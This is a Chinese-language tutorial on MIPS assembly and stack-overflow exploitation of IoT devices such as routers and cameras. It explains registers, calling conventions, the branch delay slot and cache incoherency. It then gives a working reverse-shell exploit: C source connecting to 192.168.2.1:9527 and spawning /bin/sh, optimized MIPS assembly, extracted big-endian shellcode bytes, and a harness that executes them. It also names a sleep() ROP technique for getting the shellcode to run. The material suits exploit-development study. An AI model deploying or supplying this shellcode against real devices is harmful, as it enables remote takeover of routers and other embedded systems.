MIPS 汇编基础

MIPS 指令都是 32 位长的，即 4 个字节。一共有 32 个通用寄存器，在汇编中，寄存器均以 $ 符号开头。

常用寄存器

$zero # 永远返回 0。
$v0 - $v1 # 存储函数返回值。
$a0 - $a3 # 用于函数调用时的参数传递，若参数超过 4 个，则多余的参数使用堆栈传递。
$s0 - $s7 # 存储各种东西，函数调用时需将用到的寄存器保存到堆栈。
$sp # 栈指针，指向栈顶。
$ra # 存储返回地址。

syscall 系统调用

参数寄存器：$v0, $a0, $a1，$v0 保存需要执行的系统调用的调用号。
返回值：$v0

函数调用约定

参数 1 ～ 4 分别保存在 $a0 ~ $a3 寄存器中，剩下的参数从右往左依次入栈。
被调用者实现栈平衡。
返回值存放在 $v0 中。

堆栈布局

MIPS 的栈走向为: 高地址 -> 低地址，无 push 和 pop 指令。通过 load 或者 store 指令进行内存访问的方式使用堆栈。

堆栈溢出原理

在进行函数调用时，MIPS 和 X86 除了参数传递方式不一样，对于返回地址的处理也是不同的。

在 X86 架构下，由调用者实现堆栈平衡，调用者从右向左依次将被调用函数的参数压入堆栈后，再将函数返回地址直接压入堆栈，之后调由用者开辟新的栈帧并跳转到被调用函数执行。
而在 MIPS 架构下，由被调用者实现堆栈平衡，调用者先将前四个参数保存在 $a0 ~ $a3 中，剩下的参数从右往左依次入栈。虽然前四个参数保存在寄存器中，但是调用函数依然会预留前四个参数的内存空间，这段空间可被被调用函数用于保存 $a0 ~ $a3 的值。调用函数传完参后，接下来一般会用 jal 指令跳转到被调用函数。

为什么是 PC + 8 呢，这就跟 MIPS 的五级流水线有关了。

IF 取指（insturction fetch），从指令高速缓存（I-cache）获取下一条指令。
RD 读取寄存器（read register），读取指令中寄存器的值。
ALU 算术逻辑操作。
MEM 访问内存（memory），读写数据高速缓存（D-cache）中的内存变量。
WB 写回寄存器（write back），将操作结果写回寄存器。

当跳转/分支指令到达执行阶段并且新的程序计数器已经产生时，紧随其后的下一条指令已经开始执行了。MIPS 规定分支之后的指令总是在分支目标指令之前执行，紧随分支指令之后的位置称为 分支延迟槽。在没有任何可用操作时，延迟槽将填充空指令（nop）占位。所以 PC + 8 是正常操作。

跳转到被调用函数后：

被调用函数首先会开辟新的栈帧。
根据本函数内是否还有其他函数调用决定是否将 $ra 入栈。
$sp 入栈，用以恢复上层栈帧。

堆栈溢出漏洞要被利用，最好是能覆盖返回地址，即 $ra。这时就需要分两种情况来分析：

非叶子函数，即栈帧的栈底是 $ra，直接覆盖本栈帧的 $ra 即可劫持函数流程。
叶子函数，$ra 未入栈，构造长数据覆盖上层函数栈帧。

可见，MIPS 架构下多了一个 $ra 寄存器，但是堆栈溢出漏洞依然可以被利用。

堆栈溢出漏洞利用

原理弄明白了，接下来我们研究怎么对漏洞进行利用。

ShellCode 注入（mipsbe）

MIPS 架构一般应用于路由器、摄像头等 IOT 设备。对于这类设备，在堆栈可执行的前提下，一段反向连接的 shellcode
即可轻松获取目标系统权限。

// IPv4 AF_INET sockets:

struct sockaddr_in {
    short            sin_family;   // e.g. AF_INET, AF_INET6
    unsigned short   sin_port;     // e.g. htons(3490)
    struct in_addr   sin_addr;     // see struct in_addr, below
    char             sin_zero[8];  // zero this if you want to
};

struct in_addr {
    unsigned long s_addr;          // load with inet_pton()
};

反向 shell 的 C 语言代码如下：

#include <sys/types.h>;
#include <sys/socket.h>;

int main() {
    struct sockaddr_in serv_addr;
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = 0x2537; /* 9527 */
    serv_addr.sin_addr.s_addr = 0xc0a80201; /* 192.168.2.1 */
    int soc = socket(AF_INET, SOCK_STREAM, 0);
    int rc = connect(soc, (struct sockaddr*)&serv_addr, 0x10);
    dup2(soc, 0);
    dup2(soc, 1);
    dup2(soc, 2);
    execve("/bin/sh", 0, 0);

}

根据 C 语言代码，可实现基于指令优化的 MIPS 汇编代码，以下代码参考了《揭秘家用路由器0day漏洞挖掘技术》一书。

.section .text
.globl _start
.set noreorder
_start:

# sys_socket
# a0: domain
# a1: type
# a2: protocol
  li $t7,-6
  nor $t7,$t7,$zero
  addi $a0,$t7,-3
  addi $a1,$t7,-3
  slti $a2,$zero,-1
  li $v0,4183 # sys_socket
  syscall 0x40404

# sys_connect
# a0: sockfd(stored on the stack)
# a1: addr(data stored on the stack)
# a1: addrlen

  sw $v0,-1($sp)
  lw $a0,-1($sp)
  li $t7,0xfffd
  nor $t7,$t7,$zero
  sw $t7,-32($sp)
  lui $t6,0x2537
  ori $t6,$t6,0x2537
  sw $t6,-28($sp)
  lui $t6,0xc0a8
  ori $t6,$t6,0x0201
  sw $t6,-26($sp)
  addiu $a1,$sp,-30
  li $t4,-17
  nor $a2,$t4,$zero
  li $v0,4170
  syscall 0x40404

# sys_dup2
# a0: oldfd(socket)
# a1: newfd(0,1,2)
  li $s1,-3
  nor $s1,$s1,$zero
  lw $a0,-1($sp)
  dup2_loop:move $a1,$s1
  li $v0,4063
  syscall 0x40404
  li $s0,-1
  addi $s1,$s1,-1
  bne $s1,$s0,dup2_loop

# sys_execve
# a0: "//bin/sh"
# a1: argv "//bin/sh"
# a2: envp (null)

  slti $a2,$zero,-1
  lui $t7,0x2f2f
  ori $t7,$t7,0x6269
  sw $t7,-20($sp)
  lui $t6,0x6e2f
  ori $t6,$t6,0x7368
  sw $t6,-16($sp)
  sw $zero,-12($sp)
  addiu $a0,$sp,-20
  sw $a0,-8($sp)
  sw $zero,-4($sp)
  addiu $a1,$sp,-8
  li $v0,4011
  syscall 0x40404

将上述汇编代码保存为 reverse_shell.s，编译并链接。

1 2	➜ mips-linux-gnu-as reverse_shell.s -o reverse_shell.o ➜ mips-linux-gnu-ld reverse_shell.o

在 MIPS 机器上测试，可以看到，我们在监听的端口上成功收到了反连请求。

接下来只需要从 a.out 程序中提取二进制字节码即可。在这里我们不采用反汇编后再进行提取的方法，推荐一个在线转换的网站Online Assembler and Disassembler。

获得的 MIPS 反向 shell 二进制字节码如下：

1
2
3

Big endian:

"\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e\x25\x37\x35\xce\x25\x37\xaf\xae\xff\xe4\x3c\x0e\xc0\xa8\x35\xce\x02\x01\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x11\xff\xfd\x02\x20\x88\x27\x8f\xa4\xff\xff\x02\x20\x28\x25\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x22\x31\xff\xff\x16\x30\xff\xfa\x00\x00\x00\x00\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c"

上述字节码中出现了 \x00\x00\x00\x00，想必跟流水线优化有关，直接去掉即可。

#include <stdio.h>
#include <string.h>

char *shellcode = "\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e\x25\x37\x35\xce\x25\x37\xaf\xae\xff\xe4\x3c\x0e\xc0\xa8\x35\xce\x02\x01\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x11\xff\xfd\x02\x20\x88\x27\x8f\xa4\xff\xff\x02\x20\x28\x25\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x22\x31\xff\xff\x16\x30\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c";

int main(void)
{
    fprintf(stdout,"Length: %d\n",strlen(shellcode));
    (*(void(*)()) shellcode)();
    return 0;
}

可以跨平台编译并运行，对提取的字节码进行测试。

1	cross-compiler-mips/bin/mips-gcc -static reverse_shell.c

缓存非一致性（CACHE INCOHERENCY）

哈佛结构

哈佛架构（Harvard architecture）是一种将程序指令储存和数据储存分开的存储器结构（Split Cache）。中央处理器首先到程序指令储存器中读取程序指令内容，解码后得到数据地址，再到相应的数据储存器中读取数据，并进行下一步的操作（通常是执行）。程序指令储存和数据储存分开，数据和指令的储存可以同时进行，可以使指令和数据有不同的数据宽度。

冯·诺伊曼结构

冯·诺伊曼结构（Von Neumann architecture），也称冯·诺伊曼模型（Von Neumann model）或普林斯顿结构（Princeton architecture），是一种将程序指令存储器和数据存储器合并在一起的电脑设计概念结构。

区别及实际实现

哈佛结构和冯诺依曼结构主要区别在是否区分指令与数据。哈佛结构设计复杂，但效率高。冯诺依曼结构则比较简单，但也比较慢。CPU 厂商为了提高处理速度，在 CPU 内增加了高速缓存。也基于同样的目的，区分了指令缓存和数据缓存。

CPU 缓存（Cache）

在计算机系统中，CPU 高速缓存是用于减少处理器访问内存所需平均时间的部件。当处理器发出内存访问请求时，会先查看缓存内是否有请求数据。如果存在（命中），则不经访问内存直接返回该数据；如果不存在（失效），则要先把内存中的相应数据载入缓存，再将其返回处理器。
为了和下级存储（如内存）保持数据一致性，就必须把数据更新适时传播下去。这种传播通过回写来完成。一般有两种回写策略：写回（Write back）和写通（Write through）。
写回是指，仅当一个缓存块需要被替换回内存时，才将其内容写入内存。如果缓存命中，则总是不用更新内存。为了减少内存写操作，缓存块通常还设有一个脏位（dirty bit），用以标识该块在被载入之后是否发生过更新。如果一个缓存块在被置换回内存之前从未被写入过，则可以免去回写操作。写回的优点是节省了大量的写操作。这主要是因为，对一个数据块内不同单元的更新仅需一次写操作即可完成。这种内存带宽上的节省进一步降低了能耗，因此颇适用于嵌入式系统。
写通是指，每当缓存接收到写数据指令，都直接将数据写回到内存。如果此数据地址也在缓存中，则必须同时更新缓存。由于这种设计会引发造成大量写内存操作，有必要设置一个缓冲来减少硬件冲突。这个缓冲称作写缓冲器（Write buffer），通常不超过4个缓存块大小。不过，出于同样的目的，写缓冲器也可以用于写回型缓存。

MIPS 的 Cache 机制

绝大部分 MIPS CPU 针对指令和数据有其各自的 cache（分别称为 Icache 和 Dcache)，这样读一条指令和一个数据的读操作或者写操作就能同时发生。

处理器只能执行 Icache 中的指令，只能看到 Dcache 中的数据。一般来说，CPU 不能直接访问内存。
不能执行 DCache 中的指令，也不能编程读写 ICache 中的指令。

基于以上所知，我们在利用基于 MIPS 架构的栈溢出利用时，就会出现问题。具体表现如下：
我们的 ShellCode 会存到 Dcache 中，根据 写回 策略，内存中的数据一般不能得到及时更新。这导致我们的 Shellcode 无法进入 Icache，即无法执行，这就是所谓的 缓存非一致性 问题的由来。

解决方法也很简单，我们需要让 Dcache 中的数据写回主存，并让 Icache 中的指令失效，从主存中重新加载。
在 MIPS 架构中最简单的做法就是在执行 ShellCode 前构造 ROP 链调用 Sleep() 函数。

参考链接

https://community.arm.com/processors/b/blog/posts/caches-and-self-modifying-code

https://blog.csdn.net/phunxm/article/details/8913871